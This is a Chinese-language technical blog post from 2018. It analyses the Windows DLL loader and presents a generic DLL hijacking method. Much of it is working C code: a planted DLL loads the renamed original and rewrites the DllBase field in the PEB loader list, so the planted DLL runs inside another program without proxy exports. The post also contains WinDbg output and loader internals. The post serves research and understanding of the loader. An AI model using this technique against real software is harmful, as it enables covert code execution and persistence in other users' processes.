通用DLL劫持技術研究
by anhkgg
2018年11月29日
Dll劫持相信大家都不陌生,理論就不多說了。Dll劫持的目的一般都是為了自己的dll模塊能夠在別人進程中運行,然後做些不可描述的事情。
為了讓別人的程序能夠正常運行,通常都需要在自己的dll中導出和劫持的目標dll相同的函數接口,然後在自己的接口函數中調用原始dll的函數,如此使得原始dll的功能能夠正常被使用。導出接口可以自己手工寫,也可以通過工具自動生成,比如著名的Aheadlib。這種方法的缺點就是針對不同的dll需要導出不同的接口,雖然有工具幫助,但也有限制,比如不支持x64。
除此之外,很早之前就知道一種通用dll劫持的方法,原理大致是在自己的dll的dllmian中加載被劫持dll,然後修改loadlibrary的返回值為被劫持dll加載後的模塊句柄。這種方式就是自己的dll不用導出和被劫持dll相同的函數接口,使用更加方便,也更加通用。
下面就嘗試分析一下如何實現這種通用的dll劫持方法。
原理分析隨便寫一個測試代碼:
//mydll.dll 偽造的用於劫持mydll.dll的dll代碼//mydll.dll.1是把test.exe加載的原始dll修改為這個名字BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: __debugbreak(); HMODULE hmod = LoadLibraryW("mydll.dll.1"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}//test.exevoid main(){ LoadLibraryW(L"mydll.dll");}
用windbg加載看看堆棧,如下所示。在test中通過LoadLibraryW加載mydll.dll,最後進入mydll!DllMain。現在需要分析系統映射dll之後是如何把基地址返回給LoadLibraryW,然後才能想辦法把這個值給修改成加載mydll.dll.1的值。
0:000> kvn # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x1303 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x1404 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b50a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x1050c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x19180d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b90e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
先去reactos翻看一下,找到如下的函數調用結構。在LdrLoadDll參數中BaseAddress就是最後返回給LoadLibraryW的值,所以繼續看BaseAddress是如何賦值的。BaseAddress繼續傳給LdrpLoadDll,在LdrpLoadDll中,首先通過LdrpMapDll映射dll模塊,返回一個LdrEntry的LDR_DATA_TABLE_ENTRY結構,保存了dll加載的基址、大小、名字等信息。接著LdrEntry會插入到peb->ldr鍊表結構中,然後調用LdrpRunInitializeRoutines,在LdrpRunInitializeRoutines中最終會調用DllMain,此處不繼續深入分析。最後LdrEntry->DllBase賦值給BaseAddress。到此流程分析清楚,下面考慮如何修改這個值。
NTSTATUSNTAPILdrLoadDll(IN PWSTR SearchPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *BaseAddress) { Status = LdrpLoadDll(RedirectedDll, SearchPath, DllCharacteristics, DllName, BaseAddress, TRUE); }NTSTATUSNTAPILdrpLoadDll(IN BOOLEAN Redirected, IN PWSTR DllPath OPTIONAL, IN PULONG DllCharacteristics OPTIONAL, IN PUNICODE_STRING DllName, OUT PVOID *BaseAddress, IN BOOLEAN CallInit) { Status = LdrpMapDll(DllPath, DllPath, NameBuffer, DllCharacteristics, FALSE, Redirected, &LdrEntry); //插入peb->ldr鍊表 Status = LdrpRunInitializeRoutines(NULL); if (NT_SUCCESS(Status)) { /* Return the base address */ *BaseAddress = LdrEntry->DllBase; } } LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain
記得映像中的那種方法,是通過堆棧回溯到LdrpLoadDll中,找到LdrEntry進行修改(不確實是否準備,時間久遠了),但因為LdrEntry是局部變量,不同系統可以不一樣,兼容性差一些。但看到這個調用流程之後,其實還有另一種方式。LdrEntry->DllBase賦值給BaseAddress,那麼在賦值之前把這個LdrEntry->DllBase修改了即可,在DllMain正好是修改的時機,但是不需要使用堆棧回溯的方式。因為LdrEntry已經插入到peb->ldr中,那麼在DllMain中可以直接獲取peb->ldr遍歷鍊表找到目標dll堆棧的LdrEntry就是需要修改的LdrEntry,然後修改即可。
不過這個分析都是基於reactos來的,還是需要確認一下真是windows系統的ntdll是如何首先的。
在win7 x64系統中,ntdll的關鍵代碼如下所示。差別是LdrpLoadDll直接返回的ldrentry,而不是BaseAddress,在LdrpLoadDll內部流程基本和reactos一致。所以方案應該可行,後續驗證確實證明可行。
int __fastcall LdrLoadDll(){v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry); v12 = v11; if ( v11 >= 0 ) *dllbase = dataentry->DllBase;}
嘗試實現實現其實非常簡單,關鍵代碼如下所示。兩部分代碼,一個是加載原始dll模塊(mydll.dll.1)拿到真是的模塊句柄hMod(基地址),第二個就是遍歷peb->ldr找到mydll.dll的ldrentry,然後修改dllbase為hMod。
void* NtCurrentPeb(){ __asm { mov eax, fs:[0x30]; }}PEB_LDR_DATA* NtGetPebLdr(void* peb){ __asm { mov eax, peb; mov eax, [eax + 0xc]; }}VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod){ WCHAR wszDllName[100] = { 0 }; void* peb = NtCurrentPeb(); PEB_LDR_DATA* ldr = NtGetPebLdr(peb); for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink; entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList); entry = entry->Blink) { PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry; memset(wszDllName, 0, 100 * 2); memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length); if (!_wcsicmp(wszDllName, dllname)) { data->DllBase = hMod; break; } }}VOID DllHijack(HMODULE hMod){ TCHAR tszDllPath[MAX_PATH] = { 0 }; GetModuleFileName(hMod, tszDllPath, MAX_PATH); PathRemoveFileSpec(tszDllPath); PathAppend(tszDllPath, TEXT("mydll.dll.1")); HMODULE hMod1 = LoadLibrary(tszDllPath); SuperDllHijack(L"mydll.dll", hMod1);}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DllHijack(hModule); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
總結經測試在win7 x84和win10 x64中即是有效的,其他系統未測試,如果有問題,請留言或自行解決。
害怕這種方案不行,還想了另一種思路,在dllmain中hook LdrpLoadDll的返回調用地址處,修改dataentry的值,因為LdrLoadDll函數接口固定,所以這種方式也應該是通用的,不過實現起來其實還比現在的麻煩些,所以只是保留了這種思路,並未去實現驗證,留給愛折騰的朋友吧。
最後,代碼上傳了github。
https://github.com/anhkgg/SuperDllHijack